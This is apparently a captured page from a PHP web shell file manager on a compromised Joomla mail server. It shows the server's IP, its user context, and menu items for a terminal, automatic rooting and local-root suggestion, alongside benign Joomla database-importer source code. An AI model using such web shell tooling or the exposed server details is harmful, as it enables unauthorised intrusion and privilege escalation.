Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
vnsm /
libraries /
joomla /
database /
Delete
Unzip
Name
Size
Permission
Date
Action
driver
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
exception
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
exporter
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
importer
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
iterator
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
query
[ DIR ]
drwxr-xr-x
2025-02-08 22:29
database.php
4.99
KB
-rwxr-xr-x
2023-07-08 16:23
driver.php
55.55
KB
-rwxr-xr-x
2023-07-08 16:23
exporter.php
4.4
KB
-rwxr-xr-x
2023-07-08 16:23
factory.php
5.34
KB
-rwxr-xr-x
2023-07-08 16:23
importer.php
4.82
KB
-rwxr-xr-x
2023-07-08 16:23
interface.php
538
B
-rwxr-xr-x
2023-07-08 16:23
iterator.php
3.64
KB
-rwxr-xr-x
2023-07-08 16:23
query.php
44.11
KB
-rwxr-xr-x
2023-07-08 16:23
Save
Rename
<?php /** * @package Joomla.Platform * @subpackage Database * * @copyright (C) 2012 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE */ defined('JPATH_PLATFORM') or die; /** * Joomla Platform Database Importer Class * * @since 3.0.0 */ abstract class JDatabaseImporter { /** * @var array An array of cached data. * @since 3.2.0 */ protected $cache = array(); /** * The database connector to use for exporting structure and/or data. * * @var JDatabaseDriver * @since 3.2.0 */ protected $db = null; /** * The input source. * * @var mixed * @since 3.2.0 */ protected $from = array(); /** * The type of input format (XML). * * @var string * @since 3.2.0 */ protected $asFormat = 'xml'; /** * An array of options for the exporter. * * @var object * @since 3.2.0 */ protected $options = null; /** * Constructor. * * Sets up the default options for the exporter. * * @since 3.2.0 */ public function __construct() { $this->options = new stdClass; $this->cache = array('columns' => array(), 'keys' => array()); // Set up the class defaults: // Import with only structure $this->withStructure(); // Export as XML. $this->asXml(); // Default destination is a string using $output = (string) $exporter; } /** * Set the output option for the exporter to XML format. * * @return JDatabaseImporter Method supports chaining. * * @since 3.2.0 */ public function asXml() { $this->asFormat = 'xml'; return $this; } /** * Checks if all data and options are in order prior to exporting. * * @return JDatabaseImporter Method supports chaining. * * @since 3.2.0 * @throws Exception if an error is encountered. */ abstract public function check(); /** * Specifies the data source to import. * * @param mixed $from The data source to import. * * @return JDatabaseImporter Method supports chaining. * * @since 3.2.0 */ public function from($from) { $this->from = $from; return $this; } /** * Get the SQL syntax to drop a column. * * @param string $table The table name. * @param string $name The name of the field to drop. * * @return string * * @since 3.2.0 */ protected function getDropColumnSql($table, $name) { return 'ALTER TABLE ' . $this->db->quoteName($table) . ' DROP COLUMN ' . $this->db->quoteName($name); } /** * Get the real name of the table, converting the prefix wildcard string if present. * * @param string $table The name of the table. * * @return string The real name of the table. * * @since 3.2.0 */ protected function getRealTableName($table) { $prefix = $this->db->getPrefix(); // Replace the magic prefix if found. $table = preg_replace('|^#__|', $prefix, $table); return $table; } /** * Merges the incoming structure definition with the existing structure. * * @return void * * @note Currently only supports XML format. * @since 3.2.0 * @throws RuntimeException on error. */ public function mergeStructure() { $prefix = $this->db->getPrefix(); $tables = $this->db->getTableList(); if ($this->from instanceof SimpleXMLElement) { $xml = $this->from; } else { $xml = new SimpleXMLElement($this->from); } // Get all the table definitions. $xmlTables = $xml->xpath('database/table_structure'); foreach ($xmlTables as $table) { // Convert the magic prefix into the real table name. $tableName = (string) $table['name']; $tableName = preg_replace('|^#__|', $prefix, $tableName); if (in_array($tableName, $tables)) { // The table already exists. Now check if there is any difference. if ($queries = $this->getAlterTableSql($table)) { // Run the queries to upgrade the data structure. foreach ($queries as $query) { $this->db->setQuery((string) $query); $this->db->execute(); } } } else { // This is a new table. $sql = $this->xmlToCreate($table); $this->db->setQuery((string) $sql); $this->db->execute(); } } } /** * Sets the database connector to use for exporting structure and/or data. * * @param JDatabaseDriver $db The database connector. * * @return JDatabaseImporter Method supports chaining. * * @since 3.2.0 */ public function setDbo(JDatabaseDriver $db) { $this->db = $db; return $this; } /** * Sets an internal option to merge the structure based on the input data. * * @param boolean $setting True to export the structure, false to not. * * @return JDatabaseImporter Method supports chaining. * * @since 3.2.0 */ public function withStructure($setting = true) { $this->options->withStructure = (boolean) $setting; return $this; } }